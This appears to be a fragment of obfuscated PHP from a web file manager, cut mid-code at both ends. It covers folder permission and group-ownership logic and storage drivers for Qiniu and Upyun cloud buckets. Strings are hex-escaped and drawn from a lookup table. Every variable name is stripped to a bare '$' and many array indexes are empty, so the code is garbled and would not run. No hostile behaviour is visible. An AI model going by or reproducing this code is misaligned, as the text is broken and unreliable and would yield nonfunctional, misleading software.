ay_merge($, $); $[] = $[$[577]]; $[$[$[193]]] = $; $[$[$[193]]] = $[$[577]]; } }
$ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $->getInfo($); $ = $-
>parentLevelArray($[$[592]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ a
s $) { $ = $->getInfo($); $[] = $[$[90]][$[193]]; $[$] = $[$[90]][$[193]]; $[$
] = $->parentLevelArray($[$[592]]); } foreach ($ as $ => $) { $ = $[$]; if (!$ || !$
[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $[$] = array_merge($
, $); } $ = array_values(array_unique($)); $ = array($[2159] => $, $[2160] => $); $[$] = $
; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[91]; $
 = $[$[577]]; $ = $[$[190]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1
; if ($ && Model($[579])->authCheckAction($[$[495]], $[1984])) { return $this->groupAuthInfo($, $); } $
 = Model($[1414])->parentLevelArray($[$[592]]); $ = array_merge(array($[$[193]]), array_reverse($)); $
= !1; foreach ($ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $); if ($[$
[548]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $
); } if (!$) { $ = Model($[593])->getInfo($); $ = explode($[50], trim($[$[592]], $[50])); $
 = array_reverse($); foreach ($ as $) { if ($ == $[228] || $ == $) { continue; } $ = $this->group
RootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[
496]] <= 0) { $ = $this->authDeepCheck($[$[193]], $); if ($) { $ = $; } } return $; } private functio
n userIsRoot($ = false) { $ =& $_SERVER[]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($[606])->
getInfo($); $ = Model($[2168])->listData($[$[2169]]); if ($ && $[$[583]][$[2170]] == 1) { return
!0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1414]); $ = $->sourc
eInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $
 = $[0]; $ = $[$[590]]; if (isset($[$[598]])) { $ = explode($[8], trim($[$[590]], $[8]));
array_shift($); $ = $[$[596]] . $[2171] . implode($[8], $); } return array($[502] => $[$[32]],
$[87] => KodIO::make($[$[193]]), $[2172] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[
]; $ = Model($[593])->getInfo($); return array($[2173] => intval($[$[495]]), $[2156] => $, $[2174
] => LNG($[2175]), $[2165] => array($[502] => $[$[32]], $[87] => KodIO::make($[$[90]][$[193]]), $
[2172] => $[$[597]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $
 : USER_ID; $ = $ . $[2176] . $; static $ = array(); if (isset($[$])) { return $[$]; } $
= Model($[593])->getInfo($); $ = $this->userGroupList($); $ = isset($[$]) ? $[$][$[495]] : !1;
if ($ && Model($[579])->authCheckAction($[$[495]], $[1984])) { $[$] = $; return $; } $ = $this->sourceA
uthSelect($[$[90]][$[193]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$[548]] : !1; $
[$] = $ ? $ : $; return $[$]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty(
$[$[495]]) || isset($[$[2177]]) && $[$[2177]]) { return $; } if (AuthModel::authCheckRoot($[$[4
95]][$[496]])) { return $; } $ = Model($[1414])->parentLevelArray($[$[592]]); $ = array_merge(array($[
$[193]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $
 => $) { $ = $this->authFolderOwnerUser($); $[$] = $; $ = array_merge($, $[$[670]]); if (
$[$[2178]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$[577]]); } $ = array_unique
($); if (AuthModel::authCheckRoot($[$[495]][$[496]])) { $[] = USER_ID; } $[$[495]][$[2179]] = Model($
[585])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($
[2057])->where(array($[1963] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $
= $this->authInfo($); if (AuthModel::authCheckRoot($[$[495]])) { $[] = $[$[1764]]; } } return $; } private function
authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $ = !1; foreach ($ as $) { $ = $this->authI
nfo($); if ($[$[577]] == $[228]) { $ = !0; } if ($[$[190]] == SourceModel::TYPE_USER) { if (AuthModel::aut
hCheckRoot($[$[495]])) { $[] = $[$[577]]; } } } return array($[670] => $, $[2178] => $); } pub
lic function authMake($, $ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($, $); if ($[$[2180]]) { $
[$[2180]] = $this->sourceAuthInfo($[$[2180]]); } return $; } public function authArrayCheck($, $ = false) { $ =
& $_SERVER[]; if (!$) { return array($[496] => 0, $[548] => !1); } $ = $ ? $ : USER_ID; $ = 0;
$ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ = 0; $ = 0; $ = array($
[193] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[577]]; $ = i
ntval($[$[495]]); if ($[$[190]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $ = $
; } else { if ($[$[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this-
>groupStepToUserGroup($, $); if ($ < $) { $ = $; $ = $; $ = $; $ = $; } if ($ =
= $ && $ >= $) { $ = $; $ = $; $ = $; } } else { if ($ == $[228]) { $ = !0; $ =
$; $ = $; } } } } if ($) { $ = $; $ = $; $ = LNG($[2181]); } else { if ($) { $
= $; $ = $; $ = Model($[593])->getInfo($); $ = $[176] . $[$[597]] . $[2182] . LNG(
$[2183]); } else { if ($) { $ = $; $ = $; $ = LNG($[2153]); } else { $ = 0; $ = !1; $
 = $[12]; } } } $ = array($[2173] => intval($), $[2156] => $, $[2174] => $, $[2165] => $
[$[193]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupPare
nts($)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($
); $ = 1000; $ = $GLOBALS[$[6]][$[92]][$[2070]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($
[$[1963]] == $) { return 0; } $ = explode($[50], trim($[$[592]], $[50])); if ($[0] == $[22
8] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !==
!1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SER
VER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[606])->getInfo($); $[$]
= array_to_keyvalue($[$[2154]], $[1963]); return $[$]; } public function userGroupParents($) { $ =& $_SERVER[
]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupLi
st($); $ = array(); $ = $GLOBALS[$[6]][$[92]][$[2070]] == 1; $ = $ ? 3 : 2; foreach ($ as $) {
$ = array($[$[1963]]); $ = explode($[50], trim($[$[592]], $[50])); if ($[0] == $[228] && count(
$) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($,
$); } $[$] = array_unique($); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[
]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[190]] == SourceModel::TYPE_USER) { $[] = intv
al($[$[577]]); } else { if ($[$[190]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[577]]); } } } if ($
) { $ = Model($[585])->userListInfo($); } if ($) { $ = array($[2055] => array($[500], $)); $ =
Model($[593])->field($[2184])->where($)->select(); $ = array_to_keyvalue($, $[1963]); } return array($[2185
] => $, $[2186] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[2071]]) { $ =
Model($[579])->listData($[$[2071]]); if (!$) { return !1; $ = Model($[579])->listData(); $ = array_fil
ter_by_field($, $[495], $[228]); return $; } $ = array_field_key($, array($[483], $[32], $[
495], $[1986], $[1987])); $[$[2187]] = $; return $; } else { return array($[501] => 0, $[1969] =>
$[$[2131]], $[502] => $[12], $[1986] => $[2188]); } } } goto e; e: class PathDriverQiniu extends Pat
hDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; pro
tected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "
\60"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1522];
$this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ =
> $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->
domain)) { throw new Exception($[1523] . LNG($[1458])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->clie
nt = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager(
$this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public func
tion isBucketCors() { return !0; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $
)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[];
$ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $
= get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $t
his->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $) { $ = $this->bucketM
anager->copy($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile
($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathO
uter($); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->buck
et, $); return $ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { retu
rn !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $
[8]; if (!empty($) && $ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; }
$ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$
) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) {
$ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($); if ($) {
return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInf
o($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $
this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$[1524]]) ? $[$[1524]] : 0, $[169]
=> $this->ext($)); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[2
33]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[234]]) && $
[$[234]]) { $[$[235]] = $[$[234]]; } if (isset($[$[245]]) && $[$[245]]) { $[$[235]] = $
[$[245]]; } if (isset($[$[1525]])) { $[$[88]] = substr($[$[1525]] . $[12], 0, 10); } if (isset($
[$[1524]])) { $[$[79]] = $[$[1524]]; } return $; } public function folderInfo($, $ = false) { $
=& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $
[33] => $[78]); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$
[233]] = !0; $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (isset($[$[1525]])) { $
[$[88]] = substr($[$[1525]] . $[12], 0, 10); } return $; } public function listPath($, $ = false) { $
 =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]]
[$] = $this->folderInfo($, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($
[$[97]], $, $); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]
; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $ = $
[12]; $ = 500; $ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFi
les($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1470], $) ? $ = $
[$[1526]] : $[12]; if ($) { if (!empty($[$[1527]])) { $ += count($[$[1527]]); } if (!empty($
[$[1528]])) { $ += count($[$[1528]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($
[$[1527]])) { return !0; } } else { if (!empty($[$[1528]])) { return !0; } } if ($ === $[12]) { break; } } if
($) { return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[
]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $
) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } private function fileList
($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $
[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); list($
, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists(
$[1470], $) ? $ = $[$[1526]] : $[12]; $ = isset($[$[1527]]) ? $[$[1527]] : array(); $
= isset($[$[1528]]) ? $[$[1528]] : array(); foreach ($ as $) { if ($[$[97]] == $) { continue; } $
 = $[$[97]]; $ = $[$[1524]]; $[$[79]] = $; $ = $ == 0 && substr($, strlen($) - 1, 1)
== $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $
: $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($
 === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $); } public funct
ion canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } publi
c function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->
tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return
!0; } return !1; } public function refreshUrls($) { $ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($
as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); l
ist($, $) = $->refreshUrls($); if ($) { return !1; } return $[$[1260]] == $[832] ? !0 : !1; } public fu
nction fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if
($ > 0) { $ = $ + $ - 1; $ = array($[1529] . $ . $[470] . $); } $ = url_request($, $
[261], !1, $); return $[$[823]] ? $[$[1283]] : !1; } public function upload($, $, $ = false, $
 = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_f
ile_mime(get_path_ext($)); list($, $) = $->putFile($, $, $, null, $); return $ ? !1 : $this->getP
athOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUp
loadFormData($, $ = 3600) { return $this->uploadToken($, $); } private function uploadToken($, $ = 3600) {
$ =& $_SERVER[]; $ = $; $ = array($[1530] => $[1531]); $ = $; $ = $this->auth->upl
oadToken($this->bucket, $, $, $, !0); $ = empty($this->region) || $this->region == $[1532] ? $[12] : $
[470] . $this->region; $ = http_type() . "\72\57\57\165\x70\154\157\x61\144{$}\56\161\151\x6e\151\x75\x70\x2e\143\157\x6d\57"; ret
urn array($[1533] => $, $[1534] => $); } public function download($, $) { $ = IO::getPathInner(IO::mk
file($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[
][1535]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $
+= $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = '') { if (!$this-
>isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->priv
ateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; i
f ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($)
; } $ = $ ? $[1536] . rawurlencode($) : $[12]; $ = $this->link($, $); $this->fileOutLink($); } publ
ic function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public f
unction fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); }
$ = $this->link($, $_SERVER[][1537] . $); $this->fileOutLink($); } public function fileOutImageServer($, $
= 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->objectMeta($
); return isset($[$[245]]) ? $[$[245]] : !1; $ = $this->link($, $[1538]); } public function size($) { $
 = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($
)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public fun
ction exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder
($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][179], $); } protecte
d function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $
 =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[79]] = intval($
[$[1524]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $
== $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8],
$[12], 1, $[8]); return !empty($[$[1527]]) || !empty($[$[1528]]) ? !0 : !1; } } class PathDriverStream ext
ends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct();
$this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSiz
e = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize
; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($
 = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $)
{ $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType ==
self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $);
$ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5
($this->getContent()); } public static function hash($, $ = 0) { $ = new PathDriverStream($, $); return $->has
hSimple($); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($
); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protect
ed $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\164\x70\72\x2f\57\x76\60\x2e\x61\x70\x69\x2e\165\160\x79\165\156\x2e
\143\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->
_init($); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (isset($this->{$})) {
$this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1539]
. LNG($[1458])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function is
BucketCors() { return !0; } private function ussHeaders($, $ = "\x47\105\124") { $ =& $_SERVER[]; $ = gmdate($
[1487]); $ = base64_encode(hash_hmac($[1540], "{$}\46{$}\46{$}", md5("{$this->userpass}"), !0)); $ = array(
"\x41\x75\164\x68\157\x72\x69\172\141\x74\151\x6f\x6e\x3a\125\120\131\x55\116\x20{$this->username}\x3a{$}", "\104\x61\164\x65\72{$
}"); return $; } public function ussRequest($, $ = "\x47\105\x54", $ = false, $ = false, $ = false) { $ =&
$_SERVER[]; $ = trim($, $[8]); $ = "\x2f{$this->bucket}\57{$}"; $ = $this->ussHeaders($, $);
if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $, $, $, $, $); if (!$)
{ $ = LNG($[1541]); $this->writeLog($); return array($[1293] => !1, $[1283] => $); } if (strtolower($) =
= $[227] || in_array($[$[1293]], array($[274], $[1542]))) { $ = $[$[1543]]; } else { $ = json_dec
ode($[$[1283]], !0); if (!$) { $ = $[$[1283]]; } else { if (!$[$[823]] && isset($[$[1544]]))
{ $ = $[$[1544]]; } } } if (!$[$[823]]) { $this->writeLog($this->__errorMessage($)); } return array($[1293
] => $[$[823]], $[1283] => $); } private function __errorMessage($) { $ =& $_SERVER[]; if (!$) { return
$[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $[1497]) { return $; } $ = array($
[1545] => $[1546], $[1547] => $[1548], $[1549] => $[1548], $[1550] => $[1551], $[1552] => $
[1553], $[1554] => $[1555], $[1556] => $[1557]); return isset($[$]) ? $[$] : $; } public function mk
file($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1;
} public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($
)) { return $this->getPathOuter($); } $ = array($[1558]); $ = $this->ussRequest($, $[257], !1, $); r
eturn $[$[1293]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $
 = array($[1559] . "\x2f{$this->bucket}\57{$}", $[1560]); $ = $this->ussRequest($, $[259], !1, $); return
$[$[1293]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $ = ar
ray($[1561] . "\x2f{$this->bucket}\x2f{$}", $[1560]); $ = $this->ussRequest($, $[259], !1, $); return $
[$[1293]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussR
equest($, $[1562]); return $[$[1293]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$t
his->exist($)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0);
$this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$[32]], $[1562]); if (!$[$[1293
]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $[1562]); if (!$[$[1293]]) { return !1; } } $
 = $this->ussRequest($, $[1562]); return $[$[1293]]; } public function rename($, $) { if ($this->isFile($
)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public fun
ction fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($),
$[87] => $this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$[79]]) ? $[$
[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$
[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[23
1]] = intval($[$[1563]]); $[$[88]] = intval($[$[1564]]); $[$[79]] = $[$[79]]; return $
; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($)
, $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[231]] =
$[$[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$
) { return $; } } $[$[231]] = intval($[$[1563]]); $[$[88]] = intval($[$[1564]]); return $
; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $ = array($[1565], $[1566]
. $); if ($) { $[] = $[1567] . $; } $ = $this->ussRequest($, $[261], !1, $); return !$
[$[1293]] ? !1 : $[$[1283]]; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[
]; $ = $[12]; $ = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($
, $, $); if (!$) { return !1; } $ = isset($[$[1568]]) ? $[$[1568]] : $[12]; $ = isset($
[$[1569]]) ? $[$[1569]] : array(); foreach ($ as $) { $ = $[$[33]] == $[78] ? !0 : !1; $
 = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $
 ? $[78] : $[230], $[79] => $[$[422]], $[1564] => $[$[1570]]); $this->cacheMethodInfoSet($,
$, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $
; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $
 =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $
[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $
, $); } return array($[85] => $, $[86] => $); } public function has($, $ = false, $ = true) { $
 =& $_SERVER[]; $ = $[12]; $ = 500; $ = 0; $ = 0; $ = rtrim($, $[8]) . $[8]; while (
!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1568]]) ? $
[$[1568]] : $[12]; $ = isset($[$[1569]]) ? $[$[1569]] : array(); if (empty($)) { break; } $
 = array_filter($, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $ = count($
); $ = count($); $ = $ - $; if ($) { $ += $; $ += $; if ($ < $) { b
reak; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($ < $) { break; } } if (
$) { return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[
]; $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($
 as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public fun
ction canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; }
public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ =&
$_SERVER[]; if (!$) { $ = $this->ussRequest($, $[257]); return $[$[1293]]; } $ = $this->tempFile
($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0;
} return !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1
; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1529] . $ . $[470] . $); } $ = url_reques
t($, $[261], !1, $); return $[$[823]] ? $[$[1283]] : !1; } public function upload($, $, $ = fa
lse, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array
($[1571] . $); $ = $this->ussRequest($, $[259], $); return $[$[1293]] ? $this->getPathOuter($
) : !1; } $ = 1024 * 1024 * 10; $ = array($[1572], $[1573] . $, $[1574], $[1575] . $); $
 = $this->ussRequest($, $[259], !1, $); if (!$[$[1293]]) { return !1; } $ = $[$[1283]]; $
 = 0; $ = $[$[1576]]; $ = fopen($, $[1452]); if (!$) { return !1; } do { $ = $[$[1577
]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $ = $this->uploadPart($, $, $)
; } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$[1576]]; $ += $; } while ($ != -1); fc
lose($); $ = array($[1578], $[1579] . $[$[1580]], $[1574]); $ = $this->ussRequest($, $
[259], !1, $); return $[$[1293]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $, &$)
{ $ =& $_SERVER[]; $ = array($[1581], $[1579] . $[$[1580]], $[1582] . $[$[1576]], $[146] . $
[$[1577]]); $ = $this->ussRequest($, $[259], $, $); return !$[$[1293]] ? $[$[1293]] : $
[$[1283]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function
multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPo
licy($, $, $); } private function uploadPolicy($, $ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $
[8] . $this->bucket; $ = gmdate($[1487]); $ = array($[1583] => $this->bucket, $[1584] => $, $[15
85] => time() + $, $[1586] => $); if ($) { $[$[1472]] = $; } $ = base64_encode(json_encode($
)); $ = base64_encode(hash_hmac($[1540], "\120\117\x53\124\46{$}\46{$}\46{$}", md5("{$this->userpass}"), !0)); $
= array($[293] => $, $[1587] => "\x55\120\131\x55\x4e\40{$this->username}\x3a{$}", $[208] => $this->endpoint . $
); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($
))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1535]); while (!0) { $ = $this->fileSu
bstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { br
eak; } } fclose($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; $ = trim($,
$[8]); if (!empty($this->token)) { $ = strtotime(date($[1588])); $ = substr(md5($this->token . $[369] . $ . $
[1589] . $), 12, 8) . $; $[] = $[1590] . $; } $ = !empty($) ? $[76] . implode($[369], $
) : $[12]; return $this->getHost() . $[8] . $ . $; } public function fileOut($, $ = false, $ = false, $
= '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($);
} $ = $ ? array($_SERVER[][1591] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($
); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $
